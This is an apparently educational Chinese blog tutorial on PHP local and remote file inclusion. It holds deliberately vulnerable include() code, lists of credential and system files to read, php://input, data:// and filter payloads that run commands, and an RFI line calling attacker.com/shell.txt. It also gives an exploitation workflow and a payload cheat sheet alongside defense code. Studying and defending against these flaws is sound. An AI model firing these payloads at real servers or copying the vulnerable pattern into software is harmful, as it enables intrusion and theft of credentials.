文件包含漏洞
1463 字
7 分钟
文件包含漏洞
一、文件包含漏洞概述
1.1 什么是文件包含漏洞?
后端程序在包含文件的功能中,如果被包含的文件路径可被攻击者控制,导致攻击者提供的文件中的动态脚本代码被执行。
1.2 漏洞原理
- 程序使用了
include、require等文件包含函数 - 包含的文件路径来自用户输入(如
?file=xxx) - 服务器未对用户输入进行严格过滤
- 攻击者可以包含恶意文件 → 代码执行
1.3 漏洞危害
| 危害 | 说明 |
|---|---|
| 信息泄露 | 读取系统敏感文件 |
| 代码执行 | 包含恶意代码获取 Shell |
| GetShell | 配合文件上传或远程文件包含 |
二、漏洞分类
| 类型 | 英文 | 说明 |
|---|---|---|
| 本地文件包含 | LFI (Local File Inclusion) | 包含服务器本地的文件 |
| 远程文件包含 | RFI (Remote File Inclusion) | 包含远程服务器上的文件(需开启 allow_url_include) |
三、文件包含函数
3.1 函数对比
| 函数 | 文件不存在时 | 文件已包含过 | 特点 |
|---|---|---|---|
include() | 警告,继续执行 | 再次包含 | 出错后脚本继续运行 |
require() | 致命错误,停止执行 | 再次包含 | 出错后脚本终止 |
include_once() | 警告,继续执行 | 不重复包含 | 防止重复包含 |
require_once() | 致命错误,停止执行 | 不重复包含 | 防止重复包含 |
3.2 错误行为对比
| 情况 | include | require |
|---|---|---|
| 被包含文件不存在 | 前段正常执行,后段继续 | 仅前段执行,后段停止 |
| 被包含文件存在但有错误 | 仅前段执行 | 仅前段执行 |
四、本地文件包含(LFI)
4.1 漏洞代码示例
<?phpecho "<h1>文件包含demo</h1><br>";include($_REQUEST['file']);?>访问:
http://target.com/include_demo.php?file=test.txt如果 test.txt 中包含 PHP 代码,该代码会被执行。
4.2 什么情况下 PHP 代码会执行?
✅ 结论:被包含文件中的 PHP 代码一定会被执行,与文件后缀名无关!
test.txt 内容:下面有另外一个有效的php代码。<br><?phpecho "我是第二个运行的脚本的结果。<br>";?>访问 ?file=test.txt → 其中的 PHP 代码被执行。
五、远程文件包含(RFI)
5.1 前提条件
| 配置项 | 值 |
|---|---|
allow_url_fopen | On |
allow_url_include | On(核心条件) |
5.2 配置路径
/etc/php/7.4/fpm/php.ini5.3 重启生效
# Linuxsudo systemctl restart php7.4-fpm5.4 利用方式
http://target.com/include_demo.php?file=http://attacker.com/test.txt攻击者服务器上的 test.txt 包含恶意 PHP 代码,目标服务器会远程拉取并执行。
六、敏感文件路径(信息泄露)
6.1 Windows 敏感文件
| 路径 | 内容 |
|---|---|
c:\windows\win.ini | 系统基本信息 |
c:\windows\my.ini | MySQL 安装时 root 密码 |
c:\windows\system32\config\sam | Windows 管理员密码哈希 |
c:\windows\repair\sam | 系统初次安装密码 |
c:\windows\system32\inetsrv\MetaBase.xml | IIS 配置文件 |
c:\tomcat5.0\conf\resin.conf | Tomcat 密码配置 |
C:\boot.ini | 系统版本信息 |
C:\ProgramFiles\mysql\my.ini | MySQL 配置 |
C:/ProgramFiles/mysql/data/mysql/user.MYD | MySQL root 账号 |
C:\windows\php.ini | PHP 配置信息 |
6.2 Linux 敏感文件
| 路径 | 内容 |
|---|---|
/etc/passwd | 系统账号信息 |
/etc/shadow | 系统密码哈希 |
/etc/httpd/conf/httpd.conf | Apache 配置 |
/etc/nginx/nginx.conf | Nginx 配置 |
/etc/my.conf | MySQL 配置 |
/usr/etc/php.ini | PHP 配置 |
/var/log/apache2/access.log | Apache 访问日志 |
/var/log/apache2/error.log | Apache 错误日志 |
/var/log/auth.log | 认证日志 |
/etc/rc.d/rc.local | 开机启动脚本 |
~/.bashrc | 终端启动项(Redhat) |
/etc/bash.bashrc | 终端启动项(Debian) |
/etc/sysconfig/network-scripts/ifcfg-eth0 | IP 配置 |
/root/.ssh/authorized_keys | SSH 认证公钥 |
/root/.bash_history | 系统历史命令 |
/root/.mysql_history | MySQL 历史命令 |
/proc/mounts | 已挂载文件系统 |
/proc/config.gz | 内核配置文件 |
七、PHP 伪协议利用
7.1 常见伪协议
| 协议 | 作用 | 条件 |
|---|---|---|
php://filter | 读取文件源码(Base64 编码) | 无 |
php://input | POST 数据作为 PHP 代码执行 | allow_url_include=On |
data:// | 数据流写入 | allow_url_include=On |
phar:// | 读取 ZIP 压缩包中的文件 | PHP 5.3+ |
zip:// | 读取 ZIP 压缩包中的文件 | PHP 5.3+ |
7.2 php://filter(读取源码)
# Base64 编码读取,避免直接执行http://target.com/include.php?file=php://filter/read=convert.base64-encode/resource=config.php作用: 读取 PHP 源码(否则会被执行而看不到源码)。
7.3 php://input(执行 POST 数据)
# GET 参数http://target.com/include.php?file=php://input
# POST 数据<?php phpinfo(); ?>条件: allow_url_include = On
7.4 data://(内联代码执行)
# 直接执行http://target.com/include.php?file=data://text/plain,<?php phpinfo();?>
# Base64 编码(推荐,避免特殊字符问题)http://target.com/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOw==条件: allow_url_include = On
7.5 phar:// / zip://(读取压缩包)
# 相对路径http://target.com/include.php?file=phar://info.zip/phpinfo.txt
# 绝对路径http://target.com/include.php?file=zip://c:/wamp/www/phpinclude/phpinfo.zip/phpinfo.txt条件: PHP 5.3.0+
八、利用思路
8.1 完整利用流程
1. 发现文件包含参数(?file=、?page=、?url= 等)2. 尝试本地文件包含(读取 /etc/passwd)3. 如果成功 → LFI ├── 读取敏感文件获取信息 ├── 包含日志文件(访问日志、错误日志)→ 注入代码到日志 → 包含执行 ├── 包含上传的文件(头像、附件)→ 执行 Webshell └── 包含 Session 文件 → 利用 Session 注入4. 如果允许远程包含 → RFI └── 包含远程恶意文件 → RCE5. 使用伪协议 ├── php://filter → 读取源码 ├── php://input → 执行 POST 代码 └── data:// → 直接执行代码8.2 关键判断
| 问题 | 答案 |
|---|---|
| 能读 /etc/passwd 吗? | ✅ LFI 确认 |
| 能执行代码吗? | 看是否包含 PHP 代码 |
| allow_url_include 开启? | ✅ 可以用 php://input / data:// |
| 可以上传文件? | ✅ 包含上传后的文件路径 |
九、挖掘方法
9.1 URL 特征识别
搜索包含以下参数的 URL:
?file=?page=?src=?s=?from=?img=?u=?link=?linkk=?share=?wap=?target=?t=?3g=?display=?sourceURI=?imageURL=?domain=?res=?resource=?host=?path=?dir=?show=?data=?load=?read=9.2 代码审计
搜索 PHP 文件包含函数:
include(include_once(require(require_once(十、防御措施
| 措施 | 说明 |
|---|---|
| 关闭远程包含 | allow_url_include = Off |
| 输入过滤 | 过滤 ../、./、\、http://、https:// |
| 路径检查 | 生成被包含文件路径后,正则检查是否合法 |
| 禁用危险函数 | disable_functions 包含 include、require 等(需谨慎) |
| 白名单 | 只允许包含指定目录下的文件 |
防御示例
// 白名单防御$allowed = ['home', 'about', 'contact'];if (!in_array($_GET['file'], $allowed)) { die('Invalid file');}include('./pages/' . $_GET['file'] . '.php');
// 路径过滤$file = str_replace(['../', './', '\\'], '', $_GET['file']);include('./pages/' . $file . '.php');📌 快速参考卡片
测试 Payload
# 测试 LFI?file=../../../../etc/passwd?file=..\..\..\windows\win.ini
# 读取 PHP 源码?file=php://filter/read=convert.base64-encode/resource=index.php
# 执行 POST 代码(allow_url_include=On)?file=php://inputPOST: <?php system('whoami'); ?>
# data:// 执行代码(allow_url_include=On)?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd3aG9hbWknKTs/Pg==
# 远程包含(allow_url_include=On)?file=http://attacker.com/shell.txt关键判断
| 目标 | Payload |
|---|---|
| 是否存在 LFI | /etc/passwd 或 windows\win.ini |
| 是否可执行代码 | 包含含 PHP 代码的文件 |
| allow_url_include | 尝试 php://input |
| 读取源码 | php://filter |
文章分享
如果这篇文章对你有帮助,欢迎分享给更多人!
相关文章智能推荐
1
文件上传漏洞
技术文章上传绕过方式、图片马、条件竞争,以及 getshell 后的权限问题。
2
逻辑漏洞
技术文章越权、支付与验证码等业务逻辑漏洞的分类、挖掘思路与常见场景。
3
中间件解析漏洞
技术文章Apache、Nginx、IIS 三大中间件解析漏洞的成因、复现过程与利用条件。
4
弱口令与未授权访问
技术文章Hydra 服务爆破、Tomcat 后台弱口令 getshell,以及未授权访问漏洞清单与挖掘思路。
5
XXE 外部实体注入
技术文章XXE 的成因、文件读取与 SSRF 利用链,以及禁用外部实体的防御方案。
随机文章随机推荐















